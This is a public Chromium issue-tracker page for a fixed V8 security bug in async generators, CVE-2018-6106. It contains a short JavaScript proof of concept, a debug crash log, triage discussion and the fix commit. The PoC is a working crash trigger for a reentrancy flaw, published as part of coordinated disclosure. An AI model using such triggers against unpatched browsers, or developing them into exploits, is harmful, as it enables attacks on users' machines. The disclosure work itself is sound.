New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Feb 5
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: V8: AwaitedPromise update bug

Project Member Reported by lokihardt@google.com, Jan 25 Back to list

Issue description

Here's a snippet of AsyncGeneratorReturn. (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650)

  Node* const context = Parameter(Descriptor::kContext);
  Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);
  Node* const promise =
      Await(context, generator, value, outer_promise, AwaitContext::kLength,
            init_closure_context, var_on_resolve.value(), var_on_reject.value(),
            is_caught);

  CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));
  StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,
                   promise);

The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke a user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.

PoC:
async function* asyncGenerator() {
}

let gen = asyncGenerator();
gen.return({
    get then() {
        delete this.then;

        gen.next();
    }
});

Log in debug mode:
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]


==== JS stack trace =========================================

Security context: 0x2b29083a3a71 <JSObject>#0#
    2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#)

==== Details ================================================

[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
==== Key         ============================================

 #0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject>
 #1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object>
 #2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91>
=====================

Received signal 4 ILL_ILLOPN 7fb143ae2781

==== C stack trace ===============================

 [0x7fb143ae643e]
 [0x7fb143ae6395]
 [0x7fb1436ce390]
 [0x7fb143ae2781]
 [0x7fb1430f23ae]
 [0x7fb1430f1ef7]
 [0x1c8e08204384]
[end of stack trace]
Illegal instruction

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
 
Project Member

Comment 1 by ClusterFuzz, Jan 25

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5657407962480640.
Owner: neis@chromium.org
Status: Assigned (was: Unconfirmed)
I'm guessing the iOS-only label was accidental? 

neis: Can you please take a look?
Labels: -OS-iOS
Cc: bmeu...@chromium.org
Cc: jarin@chromium.org
Cc: gsat...@chromium.org
Cc: rmcilroy@chromium.org
Cc: caitp@chromium.org
Caitlin, please have a look.

It seems that not having an explicit "awaiting-return" state is problematic. From what I can tell, the write to kAwaitedPromiseOffset in AsyncGeneratorReturn happens too late, because the Await can trigger a reentrance of this code.
Cc: ca...@igalia.com
If you have cycles to take this, you should. I can assist in small ways, but won’t be back to my normal v8 schedule for some time.
Status: Started (was: Assigned)
neis: Can you please help assign a Security_Impact label? Does this affect stable channel?
Labels: Security_Impact-Stable
Project Member

Comment 15 by sheriffbot@chromium.org, Jan 30

Labels: M-64
Project Member

Comment 16 by bugdroid1@chromium.org, Jan 31

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/9c4c717b5d1765ff31f773df416115d3dd08de60

commit 9c4c717b5d1765ff31f773df416115d3dd08de60
Author: Georg Neis <neis@chromium.org>
Date: Wed Jan 31 07:43:28 2018

Fix bug in async generators.

Async generators didn't correctly handle the situation where one calls
.return on a suspended-at-start async generator and passes a
promise-like object whose awaiting causes a new request to the
generator.

Bug:  chromium:805729 
Change-Id: I4da13ab5bd97f8c2a2c5373242a2d5e2ab0f7f10
Reviewed-on: https://chromium-review.googlesource.com/891231
Reviewed-by: Caitlin Potter <caitp@igalia.com>
Reviewed-by: Jaroslav Sevcik <jarin@chromium.org>
Commit-Queue: Georg Neis <neis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#50974}
[modify] https://crrev.com/9c4c717b5d1765ff31f773df416115d3dd08de60/src/builtins/builtins-async-generator-gen.cc
[modify] https://crrev.com/9c4c717b5d1765ff31f773df416115d3dd08de60/src/builtins/builtins-object-gen.cc
[modify] https://crrev.com/9c4c717b5d1765ff31f773df416115d3dd08de60/src/compiler/access-builder.cc
[modify] https://crrev.com/9c4c717b5d1765ff31f773df416115d3dd08de60/src/compiler/access-builder.h
[modify] https://crrev.com/9c4c717b5d1765ff31f773df416115d3dd08de60/src/compiler/js-create-lowering.cc
[modify] https://crrev.com/9c4c717b5d1765ff31f773df416115d3dd08de60/src/objects-inl.h
[modify] https://crrev.com/9c4c717b5d1765ff31f773df416115d3dd08de60/src/objects.h
[modify] https://crrev.com/9c4c717b5d1765ff31f773df416115d3dd08de60/src/runtime/runtime-generator.cc
[add] https://crrev.com/9c4c717b5d1765ff31f773df416115d3dd08de60/test/mjsunit/regress/regress-805729.js

Status: Fixed (was: Started)
Project Member

Comment 18 by sheriffbot@chromium.org, Feb 8

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: -M-64 M-66
Labels: OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Labels: Release-0-M66
Labels: CVE-2018-6106
Labels: CVE_description-missing
Project Member

Comment 24 by sheriffbot@chromium.org, May 14 (6 days ago)

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment